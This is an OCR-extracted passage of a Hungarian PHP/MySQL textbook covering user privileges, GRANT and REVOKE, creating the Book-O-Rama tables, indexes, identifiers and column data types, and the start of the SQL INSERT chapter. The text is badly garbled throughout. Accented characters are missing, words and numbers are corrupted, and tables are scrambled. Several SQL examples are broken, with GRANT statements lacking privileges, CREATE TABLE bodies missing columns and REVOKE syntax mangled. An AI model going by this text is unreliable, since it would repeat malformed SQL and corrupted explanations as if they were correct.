Megengedi a rendszergazdnak, hogy brmely felhasznlhoz tartoz szerverfolyamatokat megtekintsen. Megengedi a rendszergazdnak a jogosultsgtblk jratltst s a jogosultsgok, hostok, naplk s tblk frisstst. Replikcik hasznlatakor a master s a slave szerver esetn is megengedi a SHOW hasznlatr. A replikcival a 12. fejezetben foglalkozunk majd.
STATUS
RE LOAD
REPLICATION CLIE NT
REPLICATION S LAVE
Megengedi a repiicaeion slave kiszolglknak, hogy master kiszolglhoz csatlakozzanak. A replikcival a 12. fejezetben foglalkozunk majd. Megengedi, hogy a SHOW
DATAB ASES
E jogosultsg nlkl a felhasznlk csak azokat az adatbzisokat lthatjk, amelyekre msmi lyen jogosultsggal rendelkeznek.
154
9. fejezet
Jogosultsg
SHUTDOWN SUPER
Lers Megengedi az adminisztrtornak a MySQL lelltst. Megengedi a rendszergazdnak, hogy brmely felhasznl folyamatait lelltsa.
A fenti jogosultsgok nem rendszergazdk szmra is kioszthatk, m fokozott vatossggal rdemes eljrni, amikor gy tesznk. A FILE jogosultsg ebbl a szempontbl kicsit eltr. Azrt lehet hasznos a felhasznlknak, mert az adatok fjlbl val betltsvel rengeteg idt megsprolhatnak, mert nem kell azokat jra bevinnik az adatbzisba. A fjibetltssel azonban a MySQL kiszolgl ltal lthat brmilyen fjl betlthet, kztk ms felhasznlkhoz tartoz adatbzisok, st akr a jel szfjlok is. Legynk elvigyzatosak, amikor megadjuk ezt a jogosultsgot, vagy ajnljuk fel a felhasznlnak az adatok betltst! Kt klnleges jogosultsg is ltezik, ezeket a 9.3 tblzat mutatja. 93 tbla: Klnleges jogosultsgok Jogosultsg
ALL
Lers
A
9.1 s a 9.2 tblzatban felsorolt sszes jogosultsgot megadja. Az ALL helyett rhatunk ALL is.
PRIVILEGES-t USAGE
Nem jogosultsgot ad, hanem felhasznlt hoz ltre, s megengedi, hogy bejelentkezzen, m a felhasznl ezen tlmenen semmire nem jogosult.
A REVOKE parancs
A GRANT ellentre a REVOKE. Hasznlatval jogosultsgokat vonhatunk meg a felhasznlhL Szintaktikjban a GRANT hez hasonl:
REVOKE jogosultsagok ON elem FROM felhasznaloi nev [(oszlopok})
A WITH GRANT OPTI ON mellkg hasznlata esetn az albbival vonhatjuk vissza az ott kiosztott jogosultsgot (a tbbi vel egyetemben):
REVOKE All PRIVILEGES, FROM felhasznaloi nev GRANT
Ez a parancs rninden adatbzisra vonatkozan megadja az sszes jogosultsgot a Fred nev, az mnb12 3 jelszval rendelke z felhasznlnak, s megengedi szmra a jogosultsgok tovbbadst. J esllyel nem szeremnk, hogy legyen egy ilyen felhasznl a rendszernkben, ezrt rajta, vonjuk vissza:
mysql>
GRANT
-> FROM fred; Most mr ltrehozharunk egy ltalnos felhasznlt, aki nem rendelkezik jogosultsgokkal:
mysql>
GRANT USAGE
-> ON konyvek.* -> TO sally IDENTIFIED BY 'magic123'; Miutn beszltnk Sallyvel, s megrudruk, mit szereme csinlni, Icioszthatjuk neki a megfelel jogosultsgokat:
mysql>
DELETE,
INDEX,
ALTER, CREATE,
DROP
-> ON konyvek.* -> TO sally; Figyeljk meg, hogy a jogosultsgok kiosztshoz nem szksges megadnunk Sal!y jelszavt l
155
Ha gy ltjuk, hogy Sal!y valamiben mesterkedik az adatbzisban, dnthetnk gy, hogy cskkentjk jogosultsgainak a krt:
mysql> -> ->
REVOKE ALTER,
CREATE,
DROP
Ksbb, amikor mr egyltaln nincs mirt hasznlnia az adatbzist, teljesen visszavonhatjuk jogosultsgait:
mysql> -> ->
>
ON konyvek . * 'bookorama123';
Biztonsgi okokbl termszetesen az itt lthatnl ersebb jelszt kell vlasztani. Webhoszting-szolgltats esetn ltalban a tbbi felhasznli jogosultsgot is megkapjuk a szolgltats ltal szmunkra lt rehozott adatbzison. Jellernzen ugyanazt a felhasznli nevet s jelszt kapjuk parancssori hasznlatra (tblk ltrehozsra srb.) s webes szkriptcsatlakozshoz (az adatbzis lekrdezshezJ. Csak minimlisan cskkenti a biztonsgot, ha rnindkett
>
ON konyvek . * 'bookoramal23';
Hajr, hozzunk ltre egy ilyen felhasznlt, mert a kvetkez rszben szksgnk lesz r! A qui t begpelsvel lphetnk ki a MySQL monitorbl. Jelentkezznk vissza webes felhasznlknt, hogy meggyzd hessnk arrl, rninden rendben mkdik! Ha vgrehajtdik az ltalunk kiadott GRANT utasts, de bejelentkezsi ksrletn ket a kiszolgl elutastja, ennek ltalban az az oka, hogy a teleptsi folyamat rszeknt nem trltk a nvtelen felhaszn lkat. Lpjnk vissza root-knt, m:Yd lapozzunk a Fggelkhez, amelybl megtudhatjuk, hogyan trlhetjk ki ezeket! Ezt kveten mr minden bizonnyal be tudunk lpni webes felhasznlknt is.
A megfelel
adatbzis hasznlata
Ha eljutottunk idig, akkor be kellett lpnnk egy, a mintakd tesztelsre kszen ll, felhasznli szint MySQL felhaszn li fikba, amit vagy s:Yt magunk hoztunk ltre, vagy a webes kiszolgl rendszergazdja lltott be szmunkra. Bejelentkezskor az els lps a hasznlni kvnt adatbzis meghatrozsa. Az albbiakat kell ehhez begpelni:
mysql>
USE adatbazis_neve;
ahol az adatbaz is_neve az adatbzis nevt jelli. A use parancsra nem felttlenl van szksg, mivel belpskor is meghatrozhatjuk az adatbzist. A kvetkezket kell ehhez bernunk:
mysql -D adatbazis_neve -h hostnev
-u
felhasznaloi_nev
-p
USE konyvek;
Ha a munka megkezdse eltt nem vlasztjuk ki az adatbzist, a MySQL hibazenetet ad, pldul az albbihoz hasonlt:
ERROR 1046 (3D000): No Database Selected
156
9. fejezet
Adatbzistblk ltrehozsa
Az adatbzis bellitsnak kvetkez lpse a tblk ltrehozsa. A ltalnos alakja a kvetkez:
CREATE TABLE tabla_neve(oszlopok) CREATE TABLE
Megjegyzs: J,
ha tudjuk, hogy a MySQL-ben nem csak egyfle tblatpus vagy trolmotor rhet el, hanem tranzakcibiztos tpusokat is vlaszthatunk. A tblatpusokat a Halad MySQL-programozs cm B. fejezetben trgyaijuk meg. Egyelre adatbzisunk minden tblja az alaprtelmezett trolmotort, a MyiSAM-et hasznlja.
A tabla_neve helyre a ltrehozni kvnt tbla nevt, az oszlopok helyre pedig a tblba sznt oszlopok vesszvel elvlaszton listjt kell bernunk. Minden oszlopnl meg kell adni annak nevt, majd tpust. Emlkeztetsknt lljon itt ismt a Book-O-Rama adatbzis smja:
Vasarlok(VasarloiD, Nev, Lakeim, Varas) Osszeg, Datum) Megrendelesek(RendelesiD, Konyvek(ISBN, Szerzo, Cim, VasarloiD, Ar) ISBN, Darabszam)
Rendelesi_tetelek(RendelesiD, Konyv_Ertekelesek(ISBN,
Ertekelesek)
A 9.1 pldakd a fenti tblk ltrehozshoz szksges SQL kd. Ez felttelezi, hogy mr ltrehoztuk a konyvek nev adatbzist. A knyv http://www.perfactkado.hu/mellekletek oldalrl letlthet mellkletben a
sql 9_ fej ezet/bookorama.
mysql -h host
bookorama.sql
(Ne feledjk el a host helyre berni hosztunk nevt s meghatrozni a boakorama. sql fjl teljes elrsi tvonalt!) A fjltirnyts (file redirection) azrt praktikus dolog, mert futtats eltt neknk tetsz szvegszerkesztben dolgozha tunk az SQL kdon.
9.1 pldakd: boakorama. sql
CREATE TABLE vasarlok
VasarloiD INT UNSIGNED NOT NULL auto nev CHAR(50) NOT NULL, lakeim CHAR(l00) NOT NULL,
inerement
PRIMARY KEY,
rendelesiO INT UNSIGNED NOT NULL auto inerement vasarloiD INT UNSIGNED NOT NULL, asszeg FLOAT(6,2), datum DATE NOT NULL );
PRIMARY KEY,
isbn CHAR(l3) NOT NULL PRIMARY KEY, szerzo CHAR(50), eim CHAR(l00),
);
ar FLOAT(4,2)
157
rendelesiO INT UNSIGNED NOT NULL, isbn char(l3) NOT NULL, PRIMARY KEY (rendelesiD, isbn)
);
CREATE TABLE konyv_ertekelesek
NOT NULL
PRIMARY KEY,
);
Minden tblt kln CREATE TABLE utasts hoz ltre. Lthatjuk, hogy a sma minden tblja az elz fejezetben kiala ktott oszlopokkal jn ltre. Minden oszlop neve utn megjelenik az adattpusa, egyes oszlopok pedig tovbbi specifiklkkal is rendelkeznek.
olyan klnleges MySQL funkci, amit egsz tpus oszlopokon hasznlhatunk. Ez azt jelenti,
hogy ha resen hagyjuk a mezt, amikor sorokat szrunk a tblba, akkor a MySQL automatikusan egyedi azonost rtket fog ellltani. Ez az oszlopban tallhat maximlis rtknl eggyel nagyobb lesz. AzAUTO _INCREMENT tpus mezbl min den tblban csak egy lehet. AzAUTO INCREMENT-tel meghatrozott oszlopokat indexeini kell.
_
Az oszlop mg rt PRIMARY KEY kulcssz azt jelzi, hogy ez az oszlop a tbla elsdleges kulcsa. Ebben az oszlopban egye di rtkeknek kell lennik. A MySQL automatikusan indexeli ezt az oszlopot. Ahol a 9.1 pldakdban hasznltk-nevesen a vasarlok tbla vasarloiD oszlopban-, azAUTO_INCREMENT kulcsszval egytt jelent meg. Az elsdleges kulcs auto matikus indexe gondoskodik azAUTO INCREMENT ltal elvrt indexrl is.
_
Az egy mezbl ll elsdleges kulcsot tartalmaz tbla esetn az oszlopnv mg rjuk a PRIMARY KEY kulcsszt. A m sik lehetsg a rendelesi _tetelek utasts vgnl lthat PRIMARY KEY mellkg hasznlata. Azrt ezt alkalmaztuk itt, mert a tbla elsdleges kulcsa a kt oszlopbl jn ki. (Ez az indexet is a kt oszlop alapjn hozza ltre.) Az egsz tpus utn rt UN SIGNED kulcssz azt jelenti, hogy az oszlopba csak nulla vagy pozitv rtk kerlhet.
Az oszloptpusok
Pldaknt vizsgljuk meg az els tblt:
CREATE TABLE vasarlok
KEY,
NOT NULL
);
Tbla ltrehozsakor dntst kell hoznunk az oszlopok tpusrL
Avasarlok
tbla-mint azt a sma is meghatrozza- ngy oszlopbl ll. Az els, a vasarloiD az elsdleges kulcs,
ezt kzvedenl meghatroztuk. Eldntttk, hogy egsz (INT) adattpus lesz, s az azonosrknak nem negatv rtkeknek (UNSIGNED ) kell lennik. AzAUTO _INCREMENT funkci nyjtotta elnyket is kihasznljuk, gy a MySQL automatikusan kezelni fogja szmunkra az azonostkat, s eggyel kevesebb dologra kell figyelnnk. Az sszes tbbi oszlop karakterlnc (string) tpus adatot fog trolni. Ezekhez a CHAR adattpust vlasztottuk. Ez a tpus rgztett szlessg mezket hatroz meg. A szlessget zrjelben adhatjuk meg, e szerint a nev pldul legfeljebb 50 karak ter hossz lehet. Ez az adattpus minden esetben 50 karakternyi trolhelyet oszt ki a nvre, akkor is, ha nem mindet hasznljuk fel. A MySQL szkzkkel tlti fel az adatot, hogy a megadott mretv tegye. Az adattpus lehetsges alternatvja a V ARCHAR, amely csak a tnylegesen szksges trolhelyet hasznlja (s mg egy bjtot). A kt tpus kztt az is a klnbsg, hogy a VARCHAR kevesebb helyet hasznl, m a CHAR gyorsabb.
158
9. fejezet
Lthatjuk, hogy minden oszlopot a NOT NULL kulcsszval deklarl tak. Ezt az apr optimalizlsi lpst minden lehetsges helyen rdemes alkalmazni, mert ltala kicsit gyorsabban futnak a dolgok. A:z. optimalizlssal a 12. fejezetben rszletesebben is foglalkozunk. Ms CREATE utastsoknl eltr szintaktikt lthatunk. V izsgljuk meg a megrendelesek tblt ltrehoz kdot:
CREATE TABLE megrendelesek
rendelesiO INT UNSIGNED NOT NULL auto vasarloiD INT UNSIGNED NOT NULL, osszeg FLOAT(6,2), datum DATE NOT NULL
inerement
PRIMARY KEY,
);
A:z. osszeg oszlop a meghatrozs szerint float rpus lebegpontos szmot trol. A lebegpontos adattpusok nagy r
sznl meghatrozhatjuk a megjelents szlessgt s a tizedeshelyek szmt. A pldban a rendels rtkt dollrban szmt juk ki, ezrt a vgsszegnek kellen nagy
A dtumot tartalmaz datum oszlop DATE adattpus. A tbla az osszeg kivtelvel minden oszlopot NOT NULL-knt, azaz nem resknt hatroz meg. Mi ennek az oka? Amikor rendelst visznk az adatbzisba, a megrendelesek tblban kell ltrehozni, hozzadjuk a rendelt tteleket a rendeles i_t etelek tblhoz, majd kiszmtjuk a vgsszeget. A rendels ltrehozsakor nem tudjuk a vgsszege t, gy megengedjk, hogy NULL , vagyis res legyen. A konyvek tbla rszben hasonl tulajdonsgokkal br:
CREATE TABLE konyvek
isbn CHAR(l3) NOT NULL PRIMARY KEY, szerzo CHAR(SO), eim CHAR(l00), ar FLOAT (4, 2)
);
Itt nem szksges elsdleges kulcsot generlni, mert az ISBN-kdok ellltsa mshol trtnik. A tbbi mezt azrt hagy juk resen, mert egy knyvesbolt hamarabb megtudhatja a knyvek ISBN-kdjt, mint cmt ( eim) , szerzjt ( szerzo) vagy rt (ar). A rendelesi_tetelek tbla megmutatja, hogyan kell tbboszlopos (multicolumn) elsdleges kulcsokat ltrehozni:
CREATE TABLE rendelesi tetelek
rendelesiO INT UNSIGNED NOT NULL, isbn char(l3) NOT NULL, darabszam TINYINT UNSIGNED, ); PRIMARY KEY (rendelesiD, isbn)
A tbla TINYINT UNSIGNED tpusknt hatrozza meg az adott knyvek mennyisgt. Ez a tpus O s 255 kztti egsz szmot kpes trolni. Korbban mr jeleztk, hogy a tbboszlopos elsdleges kulcsokat klnleges elsdlegeskulcs-mellkggal hatrozzuk meg. Pontosan ezt alkalmaztuk itt. Vgezetl vizsgljuk meg a konyv_ ertekelesek tblt:
CREATE TABLE konyv_ertekelesek
);
Ez a tbla egy j, korbban mg nem trgyalt adattpust hasznl: a TEXT hosszabb szvegekhez, pldul cikkekhez alkal mazhat. Ltezik nhny vltozata, amit a fejezet egy ksbbi rszben rszletesebben bemutatunk. A tblk ltrehozsnak mlyebb megismerse rdekben vizsgljuk meg az oszlopneveket s azonostkat ltalnossgban,
majd tekintsk t az oszlopokhoz vlasztott adattpusakad Elszr azonban nzzk meg a ltrehozott adatbzist!
159
A MySQL ekkor egy, az adatbzisban lv sszes tblt tartalmaz listt jelent meg:
+-------------------+
l Tables in konyvek
konyv_ertekelesek konyvek vasarlok rendelesi tetelek megrendelesek
+-------------------+
+-------------------+
5 rows in set
(0.06 sec)
Ha nem rendelkeznk SHOW DATABASE$ jogosultsggal, akkor csak azon adatbzisok listjt ltjuk, amelyekhez jogosult sggal brunk. Tovbbi informcit kapharunk egy adott tblrl, pldul a konyvek-rl a DESCRIBE paranccsal:
mysql> describe konyvek;
l Field
isbn szero eim ar
Type
Null
Key
Default
Extr a
+--------+------------+------+-----+---------+-------+
PRI
+--------+------------+------+-----+---------+-------+
rows in set
(0.00 sec)
Ezek a parancsok kivlan alkalmasak arra, hogy esznkbe juttassk egy adott oszlop tpust, vagy naviglni rudjunk a nem ltalunk ltrehozott adatbzisokban.
lndexek ltrehozsa
Rviden beszltnk mr az indexekrl, mert az elsdleges kulcsok kijellse indexeket hoz ltre azokon az oszlopokon. Az j MySQL-felhasznlk gyakran panaszkodnak az adatbzis gyenge teljestmnyre, pedig azt hallottk a MySQL-rl, hogy villmgyors. problma oka, hogy nem hoztak ltre indexeket az adatbzisukban.(Tblkat ugyanis elsdleges kulcsok A vagy indexek nlkl is ltre lehet hozni.) Kezdskppen tkletesen megfelelnek szmunkra az automatikusan ltrehozott indexek.Ha a ksbbiekben azt tapasztal juk, hogy sok lekrdezst futtarunk egy olyan oszlopon, amely nem kulcs, rdemes lehet a teljestmnynvels rdekben inde xet adni az oszlophoz. A CREATE INDEX utastssal tehetjk ezt meg. Az utaSts ltalnos alakja:
CREATE [UNIQUEIFULLTEXT] INDEX index neve
ON tabla_neve (index_oszlop_nev
[(hossz) l [ASC l DESC], ...] ) (A FULLTEXT indexek szvegmezk indexelsre szolglnak; hasznlarukat a 13. fejezetben mutatjuk be.) Az opcionlis hoss z mezvel megadhatjuk, hogy csak a mez els hossz karaktere legyen indexelve. Azt is meghatroz hatjuk, hogy az index emelked ( ASC ) vagy cskken (DESC ) legyen; a cskken az alaprtelmezett.
160
9. fejezet
MySQL azonostk
tfle azonostt hasznlunk MySQL-ben: az adatbzisokat,a tblkat,az oszlopokat s az indexeket - amelyeket mr mind jl ismernk -,valamint az aliasokat,amelyekkel a kvetkez fejezetben fogunk foglalkozni. A MySQL adatbzisok a mgttes fjlszerkezet mappinak,a tblk pedig a fjloknak felelnek meg. Ennek kzveclen hatsa van az ezeknek adott nevekre,illetve azok kisbet-nagybet-rzkenysgt is befolysolja: ha az opercis rendszer mappa- s fjlnevei megklnbztetik a kis- s nagybetket,akkor az adatbzis- s tblanevek is gy tesznek (pldul Unix alatt); egyb knt nem (pldul Windows alatt). Az oszlop- s aliasnevek nem tesznek klnbsget a kis- s nagybetk kztt,m ugyan azon SQL utasrson bell nem hasznlhatjuk ugyanannak a nvnek klnbz vltozatt. Az adatokat tartalmaz mappa s fjlok helyt a konfigurci hatrozza meg. A mysqladrnin parancs albbi hasznlatval derthetjk ki,hogy rendszernkn ez hol tallhat:
>
mysqladrnin -h host
-u
root -p variables
Ezt kveten keressk meg a datadir vltozt! s ASCII(255) karaktereket,illetve idzjeleket nem hasznlhatunk az azonosrkban (szintn szlva nem is igazn rtjk, mirt akarnnk ezeket hasznlni). 9.4 tblz;at: MySQL azonostk
Tpus
A 9.4 tblzatban a lehetsges azonosrk sszefoglalst talljuk meg. Mg egy kikts van, nevezetesen az, hogy ASCII(O)
Max. hosszsg 64 64 64 64
Kisbet-nagybet-rzkenysg
Megengedett karakterek
Az opercis rendszer ltal a mappanevekben meg engedett sszes karakter,kivve: l, \ s . Az opercis rendszer ltal a fjlnevekben megen gedett sszes karakter,kivve: l s . Brmilyen karakter Brmilyen karakter Brmilyen karakter
255
Ezek a szablyok rendkivl megengedk. Az azonosrkban akr fenntartott szavakat s brmilyen klnleges karaktert hasznlhatunk. Az egyetlen megkts,hogy ezek alkalmazsa esetn fordtott aposztrfok (backtick) kz kell raknunk ket. Pldul: create database 'create database'; Termszetesen a jzan sz hatrain bell rdemes lni ezzel a szabadsggal. Pusztn azrt, mert egy adatbzisnak akr a 'create database' nevet is adhatjuk, nem biztos,hogy tnyleg ezt kell vlasztani. Ugyanaz az elv rvnyes itt is,mint brmilyen programozs esetn: hasznljunk rtelmes azonostkarl
Mindhrom tpust klnfle trolsi mretben vlaszthatjuk. Amikor valamelyik oszloptpus mellett dnrnk, ltalnossg
Numerikus tpusok
A numerikus tpusok egsz vagy lebegpontos szmok. Utbbi esetn meghatrozhatjuk a tizedespont (tizedesvessz) utni
tizedesjegyek szmt. Ezt az rtket knyvnkben D-vel jelljk. A D legnagyobb rtke 30 vagy M- 2 (vagyis a maximlis meg jelentsi hosszsg mnusz kett - egy karakter a tizedespontnak, egy pedig a tizedesjegynek) kzl a kisebb. Egsz tpusoknl azt is meghatrozhatjuk,hogy UN SIGNED (nulla vagy pozitv) szmok legyenek. Erre a 9.1 pldakdban lthatunk pldt.
161
Minden numerikus tpusnl megadhatjuk a ZEROFILL tulajdonsgot. Amikor ZEROFILL oszlopbl szrmaz rtke ket jelentnk meg, vezet nullval lesznek kitltve. Ha egy oszlopra belltjuk a ZEROFILL tulajdonsgot, automatikusan
UNSIGNED is lesz.
Az egsz tpusokat a 9.5 tblzat tartalmazza. A tblzatban kzlt tartomnyok kzl az els sor sik az eljel nlkli ( unsigned). 9.5 tblzat: Egsz adattpusok Tpus
TINYINT [ (M) l BIT BOOL SMALLINT [ (M) l MEDIUMINT [ (M)]
-32768. .32767 vagy 0..65535 -8388608.. 8388607 vagy 0 ..16777215 -231 231- l vagy 0..232- l 2 3
az
eljeles (signed), a m
Tartomny
-127..128 vagy 0 ..255
Lers
Nagyon kicsi egsz szmok A TINYINT tpussal megegyez A TINYINT tpussal megegyez Kis egsz szmok Kzepes mret egsz szmok Norml egsz szmok Az INT tpussal megegyez Nagy egsz szmok
-263 263
l vagy 0..264 - l
Tpus
FLOAT(pontossg)
Tartomny
A pontossgtl fgg
Lers
Egyszeres vagy ketts pontossg le begpontos szmok meghatrozsra hasznlhat.
FLOAT [ (M,D)]
1.175494351E-38 3.402823466E+ 38
Egyszeres pontossg lebegpontos szm. Ezek a szmok megegyeznek a FLOAT (4) tpusakkal, m megha trozott megjelentsi szlessggel s meghatrozott szm tizedesjegyekkel rendelkeznek.
DOUBLE [ (M,D)]
Ketts pontossg lebegpontos szm. Ezek a szmok megegyeznek a FLOAT (8) tpusakkal, m megha trozott megjelentsi szlessggel s meghatrozott szm tizedesjegyekkel rendelkeznek.
A DOUBLE [ (M, D) l tpussal meg egyez. A DOUBLE[ (M, D) l tpussal meg egyez. Lebegpontos szm, amely CHAR-knt troldik. A tartomny a megjelentsi szlessgtl ( M) fgg.
162
9. fejezer
Dtum s id tpusok
A MySQL sokfle dtum s id tpusr tmogat; a 9.7 tblzarban Jrjuk ezeket. Minden tpusnl karakrerlnc- s numerikus formrumban is bevihetjk az adatokat. rdemes megjegyezni, hogy egy adorr sor TIMESTAMP oszlopnak rrke a soron vgzerr legutols mveler drumr s idponcjr fogja murarni - kivve, ha sajt kezleg ms rrkre lltjuk Ez a funkci a rranzakcik rgztsnl lesz igazn hasznos.
9.7 tblzat: Dtum
s id adattpusok Tartomny
1000-01-01 9999-12-31 -838:59:59 838:59:59
Tpus
DATE
Lers
YYYY-MM-DD
TIME
HH: MM: SS
DATETIME
s id. Tranzakcikversre hasznos idblyeg. A megjelentsi for mrum az M rckrl fgg (lsd a kvetkez, 9.8 rblzaror!). A tartomny fels harra a Unix korirjrl fgg. v. Kr- s ngyszmjegy formrum vlaszthat, amelyek eltr rarromnnyal rendelkeznek.
TIMESTAMP [ (M) l
YEAR [ (2 l 4) l
Kivlasztort tpus
TIMESTAMP TIMESTAMP(14) TIMESTAMP(12) TIMESTAMP(lO) TIMESTAMP(S) TIMESTAMP(6) TIMESTAMP(4) TIMESTAMP(2)
Karakterlnctpusok
A karakterlnc-tpusok hrom csoportba sorolhatk. Az els csoportba az egyszer karakterlncok- vagyis a rvid szvegda rabok-tartoznak. Ez a CHAR (meghatrozott karakrerhosszsg) s a VARCHAR (vltoz karakrerhosszsg) tpus. Mind kerrnek meghatrozhatjuk a szlessgt. A CHAR tpus oszlopokban lv adatok mrerkrl fggetlenl szkzkkel vannak a maximlis szlessgre kirlrve, a VARCHAR oszlopok szlessge ugyanakkor a bennk lv adarrl fggerr vltozik. (Irr kell megemlteni, hogy a MySQL CHAR tpus adatok visszakeressnl s VARCHAR tpus adatok eltrolsnllevgja azokrl a sor vgi (zr) szkzker.) A kr tpus kzrt vlasztskor a trhely s a sebessg kzrti rvitssal szembeslnk, arnirl rszlete sebben olvasharunk majd a 12. fejezetben. A msodik csoportba a TEXT s a BLOB tpus tartozik. Ezek a klnbz mrerekben elrhet tpusok hosszabb szveghez, illetve binris adarokhoz valk. A B LOB-ok, amelyek a bitiary large object (nagy binris objekrumok) kifejezsbl kaprk nevket, brrnir kpesek trolni -gy kpet vagy hangadator is. A gyakoriarban a BLOB s a TEXT tpus oszlopok megegyeznek, az egyeden klnbsg kzrrk, hogy a BLOB kisber-nagyber-rzkeny, a TEXT nem az. Mivel ezek az oszloptpusok nagy mennyisg ada
rot kpesek trolni, hasznlarukat rdemes klnsen megfontolni. Ezzel a krdssel a 12. fejezetben foglalkozunk rszleresen. A harmadik csoportba kr klnleges tpus tartozik: a SET s az ENUM. A SET tpus azt rja el, hogy az adott oszlopban lv rtkeknek meghatrozorr rtkhalmazbl kell szrmazniuk Az oszlopban lv rrkek a halmaz egynl tbb rtkt tartalmaz hatjk. Egy adott halmaz legfeljebb 64 elembl llhat.
163
Az ENUM az angol enumeration, azaz felsorols kifejezsbl addik. A SET tpushoz nagyon hasonl, m az kztk a k lnbsg, hogy az ilyen tpus oszlopok a megadott rtkek s a NULL kzl egyet vehetnek fel, s a felsorols legfeljebb 65 535 elemet tartalmazhat. A karakterlnc-adattpusokat a 9.9, 9.10 s 9.11 tblzatban foglaltuk ssze. A rpusokat talljuk. 9.9 tblzat: Hagyomnyos karakterlnc-tpusok Tpus
[NATIONAL] [BINARY l UNICODE] CHAR(M) ASCII l
Tartomny
O- 255 karakter
Lers
M rgztett hosszsg karakterlnc, ahol M O s
255 kz esik.
A NATIONAL kulcssz meghatrozza, hogy az alaprtelmezett ka rakterkszletet kell hasznlni. Ez is az alaprtelmezett MySQL-ben, azrt szerepel mgis, merr az ANSI SQL szabvny rsze. A BINARY kulcssz azt eredmnyezi, hogy az adatot kisbet-nagybet rzkenyknt kell kezelni. (A kisbet-nagybet-rzkenysg az alap rtelmezett.) Az ASCII kulcssz azt hatrozza meg, hogy az oszlop ban latinl karakterkszlet lesz hasznlva. Az UNICODE kulcssz az ucs karakterkszlet hasznlatt jelzi.
1- 255 karakter
[BINARY]
A 9.10 tblzat a TEXT s a BLOB tpusokat mutatja be. Egy TEXT mez karakterekben kifejezett maximlis hossza az abban a mezben trolhat fjl bjtokban kifejezert maximlis mretve[ egyenl. 9.10 tblzat: A TEXT s a BLOB tpusok Tpus
TINYELOB TINYTEXT BLOB TEXT MEDIUMBLOB MEDIUMTEXT LONGBLOB LONGTEXT
Lers Apr nagy binris objektum (BLOB) mez Apr TEXT mez Norml mret BLOB mez Norml mret TEXT mez Kzepes mret BLOB mez Kzepes mret TEXT mez Hossz BLOB mez Hossz TEXT mez
28- l (vagyis 255) 28 -l (vagyis 255) 216- l (vagyis 65 535) 216-l (vagyis 65 535) 224- l (vagyis 16 777 215) 224 -l (vagyis 16 777 215) 232-1 (vagyis 4 294 967 295) 232- l (vagyis 4 294 967 295)
A halmaz elemeinek ma
Lers Az ilyen tpus oszlopok a felsorolt rtkek s a NULL kzl egyet trolhatnak. Az ilyen tpus oszlopok a meghatrozort rtkek egy halmazr vagy a NULL rtket trolhatjk.
ximlis szma
65 535 64
,ertek2', ...)
SET (ertekl', ,ertek2', ...)
164
9. fejezet
Tovbbi olvasnival
Az adatbzisok ltrehozsrl a MySQL online kziknyvben (http:/ /www.mysql.com) olvashatunk bvebben.
Hogyan tovbb
Miutn megtudruk, hogyan hozharunk ltre felhasznlkat, adatbzisokat s tblkat, figyelmnket az adatbzissal val mun kra fordtjuk. A kvetkez fejezetben megnzzk, hogyan vihetnk adatokat a tblba, hogyan frissthetjk s trlhetjk azokat, illetve hogyan krdezhetnk le az adatbzisbL
10 unkavgzsySL adatbzisunkkal
A fejezetben bemutatjuk
az SQL-t,
bzis fejlesztst, megtanuljuk, hogyan lehet adatokat beszrni, trlni s frissteni, illetve hogyan krdezhetnk le az adatbzisbL A fejezetben az albbi fbb tmakrkkel foglalkozunk: Mi az SQU
Adatok beszrsa adatbzisba Adatok visszakeresse adatbzisbl Tblk sszekapcsolsa Egymsba gyazott lekrdezsek hasznlata Rekordok frisstse az adatbzisban Tblk mdoscsa ltrehozsuk utn Rekordok rrlse az adatbzisbl Tblk trlse
Elszr is bemutatjuk, mi az SQL, majd kiderl az is, hogy mirt rdemes hasznlni. Ha eddig mg nem hoztuk volna ltre a Book-O-Rama adatbzist, tegyk meg most, klnben nem fogjuk tudni nmatni a fejezetben lv SQL lekrdezseket! Az erre vonatkoz utastsokat a
MiazSQL:
Az SQL a Structured
Query Language, azaz a strukturlt lekrdez nyelv rvidtse. A legelterjedtebb nyelv relcis adatbzis-ke zel rendszerek (RDBMS) elrsre. Az SQL-lel adatokat trolhatunk az adatbzisban, illetve visszakereshetjk azokat. Tbbek
kztt olyan adatbzisrendszerek hasznljk, mint a MySQL, az Oracle, a PostgreSQL, a Sybase s a Microsoft SQL Server. Az SQL-hez ANSI-szabvny tartozik, s a MySQL, illetve a hozz hasonl adatbzisrendszerek ltalban ennek a szab vnynak a megvalstsra trekszenek. Nhny apr eltrs van a szabvnyos SQL s a MySQL SQL-je kztt. Ezen klnb
sgek egy rszt a MySQL ksbbi verziiban tervezik megszntetni, msik rszk azonban szndkos. A fontosabb eltrsek re menetkzben kicrnk majd. A MySQL ltal hasznlt SQL s az ANSI SQL kzrri klnbsgek celjes lisrja a MySQL online kziknyvben tallhat meg. Az adott oldalt - egyebek kztt - az albbi cmen rhetjk el: http:/ l dev.mysql.com/ doc/re&nan/5.1/ en/ comparibiliry.htrnl. Bizonyra tallkoztunk mr lekrdezsre hasznlt
az- adarbzisok definilsra hasznlt Data Definition Language (DDL), illetve az- adatbzisok -Data Manipulalion Language (DML) kifejezssel. Az elbbi jelentse adatdefincis nyelv, az utbbi pedig
-
adatkezel nyelv. Az SQL rnindkettt lefedi. A 9. fejezetben tallkoztunk az SQL-beli adatdefincival (DDL), s valamennyir mr
dolgozrunk is vele. A D DL-re az adarbzis kezdeti ltrehozsakor, belltsakor van szksg. Az SQL DML oldalt sokkal gyak rabban hasznljuk, mert az az SQL-nek
az
RDBMS-ek tblkbl llnak, amelyek pedig oszlopokba rendezett adatok sorait tartalmazzk.
az
A tblk egy-egy sora ltalban valamilyen vals vilgbeli objektumot vagy kapcsolatot r le, s az adott sor oszloprtkei trol jk a vals vilgbeli objektumra vonatkoz informcikat. Adatsorokat
166
10. fejezet
Az INSERT INSERT
[INTO]
VALUES
10
(ertekl,
ertek2,
ertek3, ...};
Pldul ahhoz, hogy a Book-O-Rama adatbzis vasarlok tbljba szrjunk be egy rekordot, a kvetkezket kell begpelni: INSERT INTO
vasarlok VALUES '25 Oak Street', 'Airport West'}; ertek2
Lthat, hogy a t abla helyre annak a tblnak a nevt rtuk, ahova adatokat szetetnnk pakolni, az ertekl,
